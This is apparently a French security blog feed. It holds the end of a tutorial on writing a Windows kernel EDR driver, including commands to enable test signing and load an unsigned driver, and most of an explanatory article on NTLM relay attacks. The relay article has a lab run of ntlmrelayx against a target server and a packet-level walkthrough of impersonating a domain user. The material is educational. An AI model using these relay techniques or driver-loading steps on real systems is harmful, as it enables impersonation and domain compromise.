<span class="n">NTSTATUS</span> <span class="nf">EDRDeviceControl</span><span class="p">(</span><span class="n">_In_</span> <span class="n">PDEVICE_OBJECT</span> <span class="n">DeviceObject</span><span class="p">,</span> <span class="n">_In_</span> <span class="n">PIRP</span> <span class="n">Irp</span><span class="p">)</span> <span class="p">{</span>
<span class="n">UNREFERENCED_PARAMETER</span><span class="p">(</span><span class="n">DeviceObject</span><span class="p">);</span>
<span class="n">UNREFERENCED_PARAMETER</span><span class="p">(</span><span class="n">Irp</span><span class="p">);</span>
<span class="n">KdPrint</span><span class="p">((</span><span class="s">"Un code de contrôle a été envoyé au driver</span><span class="se">\n</span><span class="s">"</span><span class="p">));</span>
<span class="cm">/* Une logique peut être implémentée ici pour traiter des requêtes d'applications */</span>
<span class="k">return</span> <span class="n">STATUS_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Une dernière petite étape avant de pouvoir compiler le driver, il faut désactiver une protection de compilation contre <a href="/meltdown-spectre/">certaines attaques</a>. C’est mieux d’avoir les éléments qui permettent de faire les vérifications, mais pour nos besoins de tests, on se contentera de désactiver l’option.</p>
<p><a href="/assets/uploads/2021/10/project_spectre_disable.png"><img src="/assets/uploads/2021/10/project_spectre_disable.png" alt="Disable Spectre" /></a></p>
<p>Maintenant, le driver peut être compilé ! Cette compilation produit notamment un fichier <strong>EDR.sys</strong>, qui est le driver que nous pourrons charger. Il ne fait rien, mais c’est quand même déjà beaucoup.</p>
<p><a href="/assets/uploads/2021/10/project_first_compilation.png"><img src="/assets/uploads/2021/10/project_first_compilation.png" alt="Compilation" /></a></p>
<h2 id="chargement-du-driver">Chargement du driver</h2>
<p>Nous avons donc compilé notre premier driver, <strong>EDR.sys</strong>. Malheureusement (ou heureusement) nous ne pouvons pas le charger directement dans notre kernel. Les versions récentes de Windows demandent plusieurs prérequis pour accepter de charger un driver, notamment qu’il soit signé par une autorité de certification reconnue par Microsoft, et signé par Microsoft lui même ! Est-ce qu’on s’arrête là alors ?</p>
<p>Comme nous sommes en phase de recherche et d’apprentissage, il existe une solution pour tout de même charger notre driver. Pour cela, je vous conseille <strong>extrêmement fortement</strong> de faire vos tests dans une machine virtuelle, ou du moins une machine de tests. Pour rappel, si votre driver plante, ça fait planter la machine. Pas de demi mesure (<em>moi j’te mesure à ton usure au demi</em> - Svinkels).</p>
<p>Une fois que votre machine de tests est lancée, vous pouvez la mettre en mode développement, c’est à dire qu’elle acceptera de charger des drivers non signés. Pour cela, il suffit de lancer dans une console en tant qu’administrateur la commande suivante :</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bcdedit /set testsigning on
</code></pre></div></div>
<p>Après un redémarrage, votre machine est prête à installer votre driver, on y arrive ! Je vous conseille également de télécharger l’utilitaire <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/debugview">DbgView</a> de la suite <a href="https://docs.microsoft.com/en-us/sysinternals/">Sysinternals</a> dont on a parlé tout à l’heure, car il vous permettra de voir les messages envoyés par vos fonctions <code class="language-plaintext highlighter-rouge">KdPrint</code>.</p>
<p><a href="/assets/uploads/2021/10/dbgview_opened.png"><img src="/assets/uploads/2021/10/dbgview_opened.png" alt="Dbgview" /></a></p>
<p>Ensuite, pour enregistrer votre driver, la commande <code class="language-plaintext highlighter-rouge">sc.exe</code> peut être utiliser de la manière suivante :</p>
<pre><code class="language-cmd">sc.exe create EDR type= kernel binPath= C:\chemin\vers\EDR.sys
</code></pre>
<p>Notez les espaces après les signes <code class="language-plaintext highlighter-rouge">=</code>, ils sont importants pour la ligne de commande, ne les supprimez pas.</p>
<p>Une fois le driver enregistré, il peut être lancé, à l’aide de la commande <code class="language-plaintext highlighter-rouge">start</code> de <code class="language-plaintext highlighter-rouge">sc.exe</code></p>
<pre><code class="language-cmd">sc.exe start EDR
</code></pre>
<p><a href="/assets/uploads/2021/10/driver_started.png"><img src="/assets/uploads/2021/10/driver_started.png" alt="Driver executed" /></a></p>
<p>Les messages de debug doivent alors apparaître dans la console de <strong>Dbgview</strong>.</p>
<p><a href="/assets/uploads/2021/10/dbgview_messages.png"><img src="/assets/uploads/2021/10/dbgview_messages.png" alt="Driver messages" /></a></p>
<p>Nous sommes donc bien rentrés dans la routine <code class="language-plaintext highlighter-rouge">DriverEntry</code> et nos méthodes se sont correctement enregistrées. Aucune de ces méthodes enregistrées n’a cependant été appelée, et c’est normal. En revanche, si nous arrêtons le driver, alors la méthode <code class="language-plaintext highlighter-rouge">EDRUnload</code> va l’être.</p>
<pre><code class="language-cmd">sc.exe stop EDR
</code></pre>
<p><a href="/assets/uploads/2021/10/dbgview_stoped.png"><img src="/assets/uploads/2021/10/dbgview_stoped.png" alt="Driver executed" /></a></p>
<p>Tout s’est correctement déroulé, félicitations, vous avez développé, lancé et arrêté votre premier driver sous Windows !</p>
<h2 id="conclusion-1">Conclusion</h2>
<p>Dans cette première partie, nous avons vu ce qu’était l’espace utilisateur et l’espace noyau, ou kernel, et nous avons défini quelques termes importants pour le reste de cette série. Tandis que le fonctionnement d’un EDR côté utilisateur a été extrêmement bien décrit dans <a href="https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/">un article de S3cur3th1ssh1t</a>, nous avons pointé du doigt en quoi l’exécution de code côté kernel pouvait être un gros avantage pour les EDR.</p>
<p>Nous avons alors décrit ce qu’était un driver, et détaillé la structure de base qui permet à un driver d’être compilé et chargé. Nous partirons de ce squelette dans les prochaines parties pour mettre en pratique des fonctionnalités proposées par le kernel pour surveiller voire modifier le comportement des applications côté utilisateur. Cette même structure pourra être utilisée dans la troisième partie qui décrira comment écrire un driver permettant de contourner, ou supprimer ces protections.</p>
<p>Je vous donne donc rendez-vous pour la partie 2 de cette série !</p>
Mon, 25 Oct 2021 12:02:32 +0000
https://beta.hackndo.com/write-and-bypass-kernel-edr-part-1/
https://beta.hackndo.com/write-and-bypass-kernel-edr-part-1/WindowsKernelRelais NTLM<p>Le relais NTLM est une technique consistant à se mettre entre un client et un serveur pour effectuer des actions sur le serveur en se faisant passer pour le client. Correctement utilisée, elle peut être très puissante et peut permettre de prendre le contrôle d’un domaine Active Directory sans avoir d’identifiants au préalable. L’objet de cet article est d’expliquer le relais NTLM, et de présenter ses limites.</p>
<!--more-->
<h2 id="préliminaire">Préliminaire</h2>
<p>Cet article n’est pas voué à être un tutoriel à suivre à la lettre pour mener à bien une attaque, mais il permettra au lecteur de comprendre en détail le <strong>fonctionnement technique</strong> de cette attaque, ses limites, et peut être une base pour commencer à développer ses propres outils, ou comprendre comment fonctionnent les outils actuels.</p>
<p>Par ailleurs, et afin d’éviter toute confusion, voici quelques rappels :</p>
<ul>
<li><strong>Hash NT</strong> et <strong>Hash LM</strong> sont des versions de condensat des mots de passe des utilisateurs. Les hash LM sont totalement obsolètes, et ne seront pas mentionnés dans cet article. Le hash NT est communément appelé, à tort à mon sens, “hash NTLM”. Cette désignation prête à confusion avec le nom du protocole, NTLM. Ainsi, lorsque nous parlerons du condensat du mot de passe de l’utilisateur, nous parlerons bien de <strong>hash NT</strong>.</li>
<li><strong>NTLM</strong> est donc le nom du <strong>protocole</strong> d’authentification. Il existe aussi en version 2. Dans cet article, si la version influe sur l’explication, alors NTLMv1 et NTLMv2 seront les termes employés. Sinon, le terme NTLM sera employé pour regrouper l’ensemble des versions du protocole.</li>
<li><strong>Réponse NTLMv1</strong> et <strong>Réponse NTLMv2</strong> seront les terminologies utilisées pour parler de la réponse au challenge envoyée par le client, pour les version 1 et 2 du protocole NTLM.</li>
<li><strong>Net-NTLMv1</strong> et <strong>Net-NTLMv2</strong> sont des néo-terminologies utilisées lorsque le hash NT est appelé hash NTLM afin de distinguer le hash NTLM du protocole. Comme nous n’utilisons pas la terminologie hash NTLM, ces deux terminologies ne seront pas utilisées.</li>
<li><strong>Hash Net-NTLMv1</strong> et <strong>Hash Net-NTLMv2</strong> sont également des terminologies visant à éviter la confusion, mais ne seront également pas utilisées dans cet article.</li>
</ul>
<h2 id="introduction">Introduction</h2>
<p>Le relais NTLM repose, comme son nom l’indique, sur l’authentification NTLM. Le fonctionnement de NTLM a été vu dans <a href="/pass-the-hash/#protocole-ntlm">l’article sur pass-the-hash</a>. Je vous invite à lire au moins la partie sur le protocole NTLM et sur les authentifications locales et distantes.</p>
<p>Pour rappel, le protocole NTLM est utilisé pour authentifier un client auprès d’un serveur. Ce qu’on appelle client et serveur sont les deux parties de l’échange. Le client est celui qui souhaite s’authentifier, et le serveur est celui qui valide, ou non, l’authentification du client.</p>
<p><a href="/assets/uploads/2020/03/ntlm_basic.png"><img src="/assets/uploads/2020/03/ntlm_basic.png" alt="NTLM" /></a></p>
<p>Cette authentification se déroule en 3 étapes :</p>
<ol>
<li>D’abord le client indique au serveur qu’il veut s’authentifier.</li>
<li>Le serveur répond alors avec un défi, ou un challenge, qui n’est rien d’autre qu’une suite aléatoire de caractères.</li>
<li>Le client chiffre ce défi avec son secret, et renvoie le résultat au serveur, c’est sa réponse.</li>
</ol>
<p>Ce procédé s’appelle <strong>challenge/response</strong>.</p>
<p><a href="/assets/uploads/2020/03/ntlm_challenge_response.png"><img src="/assets/uploads/2020/03/ntlm_challenge_response.png" alt="NTLM Challenge Response" /></a></p>
<p>L’intérêt de cet échange, c’est que le secret de l’utilisateur ne transite jamais sur le réseau. C’est ce qu’on appelle une <a href="https://fr.wikipedia.org/wiki/Preuve_%C3%A0_divulgation_nulle_de_connaissance">preuve à divulgation nulle de connaissance</a>.</p>
<h2 id="relais-ntlm">Relais NTLM</h2>
<p>Avec ces informations, nous pouvons aisément imaginer le scénario suivant : Un attaquant arrive à se positionner entre le client et le serveur, et ne fait que relayer les informations de l’un vers l’autre.</p>
<p>Comme il est en position d’homme du milieu, cela signifie que du point de vue du client, la machine de l’attaquant est le serveur auprès duquel il souhaite s’authentifier, et du point de vue du serveur, l’attaquant est un client comme un autre qui souhaite s’authentifier.</p>
<p>Sauf que l’attaquant ne souhaite pas “juste” s’authentifier auprès du serveur. Il souhaite le faire en se faisant passer pour le client. Or, il ne connait pas le secret du client, et même s’il écoute les conversations, comme ce secret n’est jamais transmis sur le réseau, l’attaquant n’est pas en mesure d’extraire un quelconque secret pour ensuite s’authentifier auprès du serveur. Mais alors, comment ça fonctionne ?</p>
<h3 id="relais-de-messages">Relais de messages</h3>
<p>Lors d’une authentification NTLM, un client peut prouver à un serveur qu’il est bien qui il prétend être, et pour cela, il chiffre une information fournie par le serveur en utilisant son mot de passe. L’idée est alors que l’attaquant va se positionner en “passe plat”, en laissant le client travailler, et en passant les plats du client vers le serveur, et les réponse du serveur vers le client.</p>
<p>Tout ce que le client doit envoyer au serveur, c’est l’attaquant qui le recevra, et il renverra les messages tels quels au vrai serveur, et tous les messages que le serveur envoie au client, c’est également l’attaquant qui les recevra, et ils les transmettra au client, tels quels.</p>
<p><a href="/assets/uploads/2020/03/ntlm_relay_basic.png"><img src="/assets/uploads/2020/03/ntlm_relay_basic.png" alt="Relais NTLM" /></a></p>
<p>Et tout ça, ça fonctionne bien ! En effet, du point de vue du client, donc la partie de gauche sur le schéma, une authentification NTLM a lieu entre l’attaquant et lui, avec toutes les briques nécessaires. Le client envoie une demande d’authentification dans son premier message, ce à quoi l’attaquant répond avec un défi, ou <em>challenge</em>. En recevant ce challenge, le client construit sa réponse à l’aide de son secret, et envoie finalement le dernier message de l’authentification contenant notamment le challenge chiffré.</p>
<p>En l’état, l’attaquant ne peut (presque) rien faire de cet échange. Mais heureusement, il y a la partie droite du schéma. En effet, du point de vue du serveur, l’attaquant est un client comme un autre. Il a envoyé un premier message pour demander à s’authentifier, et le serveur a répondu avec un challenge. Comme <strong>l’attaquant a envoyé ce même challenge au vrai client</strong>, le vrai client a <strong>chiffré ce challenge</strong> avec <strong>son secret</strong>, et a répondu <strong>avec une réponse valide</strong>. L’attaquant peut donc envoyer cette <strong>réponse valide</strong> au serveur.</p>
<p>C’est là que réside tout l’intérêt de cette attaque. En effet, du point de vue du serveur, l’attaquant s’est authentifié auprès de lui en utilisant le secret de la victime, mais cela de manière transparente pour le serveur. Il n’a aucune idée du fait que l’attaquant rejouait ses réponses auprès du client pour que le client lui donne les bonnes réponses.</p>
<p>Ainsi, du point de vue du serveur, voilà ce qu’il s’est passé :</p>
<p><a href="/assets/uploads/2020/03/ntlm_relay_server_pov.png"><img src="/assets/uploads/2020/03/ntlm_relay_server_pov.png" alt="Relais NTLM - Point de vue du serveur" /></a></p>
<p>A la fin de ces échanges, l’attaquant est authentifié sur le serveur avec les identifiants du client.</p>
<h3 id="net-ntlmv1-et-net-ntlmv2">Net-NTLMv1 et Net-NTLMv2</h3>
<p>Pour information, c’est cette <strong>réponse valide</strong> relayée par l’attaquant dans le message 3, donc le chiffrement du challenge avec le secret, qu’on appelle communément le hash Net-NTLMv1 ou Net-NTLMv2, mais qu’on appellera ici <strong>Réponse NTLMv1</strong> ou <strong>Réponse NTLMv2</strong>, comme indiqué dans le paragraphe préliminaire.</p>
<p>Pour être exact, ce n’est pas tout à fait le chiffrement du challenge, mais un condensat qui utilise le secret du client. C’est la fonction HMAC_MD5 qui est <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/5e550938-91d4-459f-b67d-75d70009e3f3">utilisée dans le cas de NTLMv2</a> par exemple. On peut tenter de casser ce type de hash par force brute. La cryptographie associée au <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/464551a8-9fc4-428e-b3d3-bc5bfb2e73a5">calcul du hash NTLMv1</a> est obsolète, et le hash NT qui a servi à créer le hash peut être retrouvé très rapidement. En revanche pour NTLMv2 ça prend beaucoup plus de temps. Il est donc préférable et conseillé de ne pas autoriser les authentification avec NTLMv1 sur un réseau de production.</p>
<h2 id="en-pratique">En pratique</h2>
<p>A titre d’exemple, j’ai monté un petit lab avec plusieurs machines. Il y a notamment un client <strong>DESKTOP01</strong> dont l’adresse IP est <strong>192.168.56.221</strong> et un serveur <strong>WEB01</strong> avec comme IP <strong>192.168.56.211</strong>. Ma machine est celle de l’attaquant, avec l’adresse IP <strong>192.168.56.1</strong>. Nous nous trouvons donc dans la situation suivante :</p>
<p><a href="/assets/uploads/2020/03/ntlm_relay_example_smb_smb_no_signing.png"><img src="/assets/uploads/2020/03/ntlm_relay_example_smb_smb_no_signing.png" alt="Relais NTLM - Exemple" /></a></p>
<p>L’attaquant a donc réussi à se mettre en position d’homme du milieu. Il existe différentes techniques pour y parvenir, que ce soit via un abus des configurations par défaut de IPv6 dans un environnement Windows, ou des protocoles LLMNR et NBT-NS. Quoiqu’il en soit, l’attaquant fait croire au client que c’est lui, le serveur. Ainsi, lorsque le client tente de s’authentifier, c’est auprès de l’attaquant qu’il va effectuer cette opération.</p>
<p>L’outil que j’utilise pour effectuer cette attaque est <a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py">ntlmrelayx</a>, outil présent dans la suite Impacket. Cet outil est présenté en détails dans <a href="https://www.secureauth.com/blog/playing-relayed-credentials">cet article</a> par <a href="https://twitter.com/agsolino">Agsolino</a>, le développeur de Impacket.</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ntlmrelayx.py <span class="nt">-t</span> 192.168.56.211
</code></pre></div></div>
<p>L’outil crée différents serveurs, dont un serveur SMB pour cet exemple, et il écoute dessus. S’il reçoit une connexion sur ce serveur, il relaiera cette connexion vers la cible que nous lui fournissons, soit <strong>192.168.56.211</strong> dans cet exemple.</p>
<p>D’un point de vue réseau, voici une capture de l’échange, avec l’attaquant qui relaie les informations vers la cible.</p>
<p><a href="/assets/uploads/2020/03/ntlm_relay_example_smb_smb_no_signing_pcap.png"><img src="/assets/uploads/2020/03/ntlm_relay_example_smb_smb_no_signing_pcap.png" alt="Relais NTLM - PCAP" /></a></p>
<p>En vert se trouvent les échanges entre le client <strong>DESKTOP01</strong> et l’attaquant, et en rouge les échanges entre l’attaquant et le serveur <strong>WEB01</strong>. Nous voyons bien les 3 messages effectués entre <strong>DESKTOP01</strong> et l’attaquant, et entre l’attaquant et le serveur <strong>WEB01</strong>.</p>
<p>Et pour bien comprendre la notion de <strong>relais</strong>, nous pouvons vérifier que lorsque le serveur <strong>WEB01</strong> envoie un challenge à l’attaquant, l’attaquant renvoie exactement la même chose au client <strong>DESKTOP01</strong>.</p>
<p>Voilà le challenge envoyé par <strong>WEB01</strong> à l’attaquant :</p>
<p><a href="/assets/uploads/2020/03/ntlm_relay_example_smb_smb_no_signing_pcap.png"><img src="/assets/uploads/2020/03/ntlm_relay_example_smb_smb_no_signing_pcap_challenge_1.png" alt="Relais NTLM - Challenge" /></a></p>
<p>Lorsque l’attaquant reçoit ce challenge, il l’envoie à son tour, sans le modifier, au client <strong>DESKTOP01</strong>. Dans cet exemple, le challenge est <code class="language-plaintext highlighter-rouge">b6515172c37197b0</code>, et il est transmis au client :</p>
<p><a href="/assets/uploads/2020/03/ntlm_relay_example_smb_smb_no_signing_pcap.png"><img src="/assets/uploads/2020/03/ntlm_relay_example_smb_smb_no_signing_pcap_challenge_2.png" alt="Relais NTLM - Challenge" /></a></p>
<p>Le client va alors calculer la réponse en utilisant son secret, comme nous l’avons vu dans les paragraphes précédents, et il va envoyer cette réponse en indiquant qui il est (<strong>jsnow</strong>), sur quelle machine il se trouve (<strong>DESKTOP01</strong>), et dans cet exemple il indique que c’est un utilisateur du domaine, donc il fournit le nom du domaine (<strong>ADSEC</strong>).</p>
<p><a href="/assets/uploads/2020/03/ntlm_relay_example_smb_smb_no_signing_pcap.png"><img src="/assets/uploads/2020/03/ntlm_relay_example_smb_smb_no_signing_pcap_response_1.png" alt="Relais NTLM - Response" /></a></p>
<p>L’attaquant qui reçoit tout ça ne se pose pas de questions. Il envoie exactement les mêmes informations au serveur. Il prétend donc être l’utilisateur <strong>jsnow</strong> sur la machine <strong>DESKTOP01</strong> et faisant partie du domaine <strong>ADSEC</strong>, et il envoie également la réponse qui a été calculée par le client, appelée <strong>NTLM Response</strong> dans ces captures d’écran, mais que nous pouvons également appeler <strong>Hash NTLMv2</strong>.</p>
<p><a href="/assets/uploads/2020/03/ntlm_relay_example_smb_smb_no_signing_pcap.png"><img src="/assets/uploads/2020/03/ntlm_relay_example_smb_smb_no_signing_pcap_response_2.png" alt="Relais NTLM - Response" /></a></p>
<p>Nous voyons bien que l’attaquant a joué le rôle de relais dans cet échange. Il n’a fait que passer les informations du client vers le serveur et vice versa, sauf qu’in fine, le serveur pense que l’attaquant s’est authentifié avec succès, et l’attaquant peut alors effectuer des actions sur le serveur en se faisant passer pour <strong>ADSEC\jsnow</strong>.</p>
<h2 id="authentification-vs-session">Authentification vs Session</h2>
<p>Maintenant que nous avons compris le principe de base du relais NTLM, la question qui se pose est de savoir comment, concrètement, est-ce qu’on peut effectuer des actions sur un serveur après avoir relayé l’authentification NTLM ? D’ailleurs, qu’entend-on par “actions” ? Qu’est-il possible de faire ?</p>
<p>Pour répondre à cette question, il faut d’abord éclaircir une chose fondamentale. Lorsqu’un client s’authentifie auprès d’un serveur pour y faire <em>quelque chose</em>, nous devons distinguer deux choses</p>
<ol>
<li><strong>L’authentification</strong>, permettant au serveur de vérifier que le client est bien qui il prétend être.</li>
<li><strong>La session</strong>, durant laquelle le client va pouvoir faire des <em>actions</em>.</li>
</ol>
<p>Ainsi, si le client s’est correctement authentifié, il pourra alors accéder aux ressources proposées par le serveur, telles que les partages réseau, l’accès à un annuaire LDAP, un serveur HTTP ou encore une base de données SQL. Cette liste n’est évidemment pas exhaustive.</p>
<p>Pour gérer ces deux étapes, il faut que le protocole utilisé puisse encapsuler l’authentification, donc l’échange des messages NTLM.</p>
<p><a href="/assets/uploads/2020/03/ntlm_smb.png"><img src="/assets/uploads/2020/03/ntlm_smb.png" alt="NTLM encapsulé" /></a></p>
<p>Bien entendu, si tous les protocoles devaient intégrer le fonctionnement de NTLM, ça deviendrait rapidement un joyeux bazar. C’est pourquoi Microsoft met à disposition une interface sur laquelle il est possible de se reposer pour gérer l’authentification, et des paquets ont été spécialement développés pour gérer différents types d’authentification.</p>
<h3 id="sspi--ntlmssp">SSPI & NTLMSSP</h3>
<p>L’interface SSPI, ou <em>Security Support Provider Interface</em>, est une interface proposée par Microsoft permettant d’uniformiser l’authentification, quel que soit le type d’authentification utilisé. Différents paquets peuvent se brancher sur cette interface afin de gérer différents types d’authentification.</p>
<p>Dans notre cas, c’est le paquet NTLMSSP (<em>NTLM Security Support Provider</em>) qui nous intéresse, mais il y a également un paquet pour l’authentification Kerberos, par exemple.</p>
<p>Sans rentrer dans les détails, l’interface SSPI met à disposition plusieurs fonctions, dont <code class="language-plaintext highlighter-rouge">AcquireCredentialsHandle</code>, <code class="language-plaintext highlighter-rouge">InitializeSecurityContext</code> et <code class="language-plaintext highlighter-rouge">AcceptSecurityContext</code>.</p>
<p>Lors d’une authentification NTLM, le client et le serveur vont faire appel à ces différentes fonctions. Les étapes ne sont décrites que succintement ici.</p>
<ol>
<li>Le client appelle <code class="language-plaintext highlighter-rouge">AcquireCredentialsHandle</code> afin d’avoir accès indirectement aux identifiants de l’utilisateur.</li>
<li>Le client appelle ensuite <code class="language-plaintext highlighter-rouge">InitializeSecurityContext</code>, fonction qui, appelée pour la première fois, créera un message de type 1, donc de type <strong>NEGOTIATE</strong>. Nous le savons puisque nous nous intéressons à NTLM, mais pour un programmeur, peu importe ce qu’est ce message. Tout ce qui compte est de l’envoyer au serveur.</li>
<li>Le serveur, en recevant le message, appelle la fonction <code class="language-plaintext highlighter-rouge">AcceptSecurityContext</code>. Cette fonction créera alors le message de type 2, c’est à dire le <strong>CHALLENGE</strong>.</li>
<li>En recevant ce message, le client appellera de nouveau <code class="language-plaintext highlighter-rouge">InitializeSecurityContext</code> mais cette fois en passant le <strong>CHALLENGE</strong> en argument. Le paquet NTLMSSP s’occupe de tout pour calculer la réponse en chiffrant le défi, et produira le dernier message <strong>AUTHENTICATE</strong>.</li>
<li>En recevant ce dernier message, le serveur fait également de nouveau appel à <code class="language-plaintext highlighter-rouge">AcceptSecurityContext</code>, et la vérification de l’authentification sera effectuée automatiquement.</li>
</ol>
<p><a href="/assets/uploads/2020/03/ntlm_ssp.png"><img src="/assets/uploads/2020/03/ntlm_ssp.png" alt="NTLMSSP" /></a></p>
<p>La raison pour laquelle ces étapes sont expliquées, c’est pour montrer qu’en réalité, du point de vue du client ou du serveur, <strong>la structure des 3 messages qui sont échangés n’a pas d’importance</strong>. Nous savons, nous, avec les connaissances du protocole NTLM, à quoi correspondent ces messages, mais le client comme le serveur n’en ont rien à faire. Ces messages sont d’ailleurs décrits dans la documentation Microsoft comme <strong>des jetons opaques</strong>, ou <em>opaque tokens</em>.</p>
<p>Cela signifie que ces 5 étapes sont totalement indépendantes du type de client, ou du type de serveur. Elles fonctionnent quel que soit le protocole utilisé pourvu que le protocole ait quelque chose de prévu pour permettre d’échanger d’une manière ou d’une autre cette structure opaque du client vers le serveur.</p>
<p><a href="/assets/uploads/2020/03/ntlm_ssp_opaque.png"><img src="/assets/uploads/2020/03/ntlm_ssp_opaque.png" alt="NTLMSSP Opaque" /></a></p>
<p>Les protocoles se sont donc adaptés pour trouver un moyen de caler une structure NTLMSSP, Kerberos, ou autre, dans un champ précis, et si le client ou le serveur voit qu’il y a de la donnée dans ce champ, il ne fait que la passer à <code class="language-plaintext highlighter-rouge">InitializeSecurityContext</code> ou <code class="language-plaintext highlighter-rouge">AcceptSecurityContext</code>.</p>
<p>Ce point est assez important, puisqu’il montre clairement que la couche applicative (HTTP, SMB, SQL, …) est complètement indépendante de la couche d’authentification (NTLM, Kerberos, …). Par conséquent, il faut des mesures de sécurité <strong>et</strong> pour la couche d’authentification, <strong>et</strong> pour la couche applicative.</p>
<p>Pour mieux comprendre, nous allons voir les deux exemples de protocoles applicatifs <strong>SMB</strong> et <strong>HTTP</strong>. Il est assez facile de trouver de la documentation pour les autres protocoles, c’est un peu toujours le même principe.</p>
<h3 id="intégration-avec-http">Intégration avec HTTP</h3>
<p>Voilà à quoi ressemble une requête HTTP basique.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /index.html HTTP/1.1
Host: beta.hackndo.com
User-Agent: Mozilla/5.0
Accept: text/html
Accept-Language: fr
</code></pre></div></div>
<p>Les éléments obligatoires dans cet exemple sont les suivants : le verbe HTTP (<strong>GET</strong>), la page demandée (<strong>index.html</strong>), la version du protocole (<strong>HTTP/1.1</strong>), ou l’en-tête <strong>Host</strong> (beta.hackndo.com).</p>
<p>Mais il est tout à fait possible d’ajouter d’autres en-têtes arbitraires. Au mieux, le serveur distant est au courant que ces en-têtes seront présents, et il saura les gérer, et au pire il les ignorera. On peut ainsi avoir la même requête avec quelques informations en plus.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /index.html HTTP/1.1
Host: beta.hackndo.com
User-Agent: Mozilla/5.0
Accept: text/html
Accept-Language: fr
X-Name: pixis
Favorite-Food: Beer 'coz yes, beer is food
</code></pre></div></div>
<p>C’est cette fonctionnalité qui est utilisée pour pouvoir transférer des messages NTLM du client vers le serveur. Il a été décidé que le client envoie ses messages dans un en-tête appelé <code class="language-plaintext highlighter-rouge">Authorization</code> et le serveur dans un en-tête appelé <code class="language-plaintext highlighter-rouge">WWW-Authenticate</code>. Si jamais un client tente d’accéder à un site internet demandant une authentification, le serveur va répondre en ajoutant l’en-tête <code class="language-plaintext highlighter-rouge">WWW-Authenticate</code>, et en mettant comme valeur les différents mécanismes d’authentification qu’il supporte. Pour NTLM, il indiquera tout simplement <code class="language-plaintext highlighter-rouge">NTLM</code>.</p>
<p>Le client sachant qu’une authentification NTLM est nécessaire, va envoyer le premier message dans l’en-tête <code class="language-plaintext highlighter-rouge">Authorization</code>, encodé en base 64 car le message ne contient pas que des caractères imprimables. Le serveur répondra avec un challenge dans l’en-tête <code class="language-plaintext highlighter-rouge">WWW-Authenticate</code>, le client calculera la réponse qu’il enverra dans <code class="language-plaintext highlighter-rouge">Authorization</code> et si l’authentification est acceptée, le serveur renverra un code de retour <strong>200</strong> indiquant que tout s’est correctement déroulé.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>> GET /index.html HTTP/1.1
> Host: beta.hackndo.com
> User-Agent: Mozilla/5.0
> Accept: text/html
> Accept-Language: fr
< HTTP/1.1 401 Unauthorized
< => WWW-Authenticate: NTLM
< Content-type: text/html
< Content-Length: 0
> GET /index.html HTTP/1.1
> Host: beta.hackndo.com
> User-Agent: Mozilla/5.0
> Accept: text/html
> Accept-Language: fr
> => Authorization: NTLM <NEGOCIATE en base 64>
< HTTP/1.1 401 Unauthorized
< => WWW-Authenticate: NTLM <CHALLENGE en base 64>
< Content-type: text/html
< Content-Length: 0
> GET /index.html HTTP/1.1
> Host: beta.hackndo.com
> User-Agent: Mozilla/5.0
> Accept: text/html
> Accept-Language: fr
> => Authorization: NTLM <RESPONSE en base 64>
< HTTP/1.1 200 OK
< => WWW-Authenticate: NTLM
< Content-type: text/html
< Content-Length: 0
< Connection: close
</code></pre></div></div>
<p>Tant que la session TCP est ouverte, l’authentification sera effective. Dès que la session se termine, en revanche, le serveur n’aura plus le contexte de sécurité du client, et une nouvelle authentification devra avoir lieu. Ca peut souvent arriver, et grâce aux mécanismes de SSO (<em>Single Sign On</em>) de Microsoft, c’est souvent transparent pour l’utilisateur.</p>
<h3 id="intégration-avec-smb">Intégration avec SMB</h3>
<p>Prenons un autre exemple fréquemment rencontré en entreprise. C’est le protocole SMB, utilisé pour accéder à des partages réseau, mais pas que.</p>
<p>Le protocole SMB fonctionne en utilisant des commandes. Elles sont <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/5cd5747f-fe0b-40a6-89d0-d67f751f8232">documentées par Microsoft</a>, il en existe un grand nombre. On peut noter par exemple <code class="language-plaintext highlighter-rouge">SMB_COM_OPEN</code>, <code class="language-plaintext highlighter-rouge">SMB_COM_CLOSE</code> ou <code class="language-plaintext highlighter-rouge">SMB_COM_READ</code>, des commandes permettant d’ouvrir, fermer ou lire un fichier.</p>
<p>Et bien SMB possède également une commande dédiée à la configuration d’une session SMB, et cette commande est <code class="language-plaintext highlighter-rouge">SMB_COM_SESSION_SETUP_ANDX</code>. <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/3a3cdd47-5b43-4276-91f5-645b82b0938f">Deux champs sont dédiés</a> au contenu des messages NTLM dans cette commande.</p>
<ul>
<li>Authentification LM/LMv2 : OEMPassword</li>
<li>Authentification NTLM/NTLMv2 : UnicodePassword</li>
</ul>
<p>Ce qu’il faut retenir, c’est qu’il existe une commande SMB spécifique possédant un espace dédié aux différents messages échangés lors d’une authentification NTLM.</p>
<p>Voici un exemple de packet SMB contenant la réponse d’un serveur à une authentification.</p>
<p><a href="/assets/uploads/2020/03/ntlm_smb_pcap_example.png"><img src="/assets/uploads/2020/03/ntlm_smb_pcap_example.png" alt="NTLM dans un packet SMB" /></a></p>
<p>Ces deux exemples montrent bien que le contenu des messages NTLM est indépendant du protocole. Il peut être inclus dans n’importe quel protocole qui le supporte.</p>
<p>Il est alors très important de bien distinguer la partie authentification, donc les échanges NTLM, de la partie applicative, ou la partie session, qui est la suite des échanges via le protocole utilisé une fois que le client est authentifié. Ca peut donc être la navigation sur le site internet via HTTP ou des manipulations de fichiers sur un partage réseau si on utilise SMB.</p>
<p><a href="/assets/uploads/2020/03/ntlm_auth_vs_session.png"><img src="/assets/uploads/2020/03/ntlm_auth_vs_session.png" alt="Authentification vs Session" /></a></p>
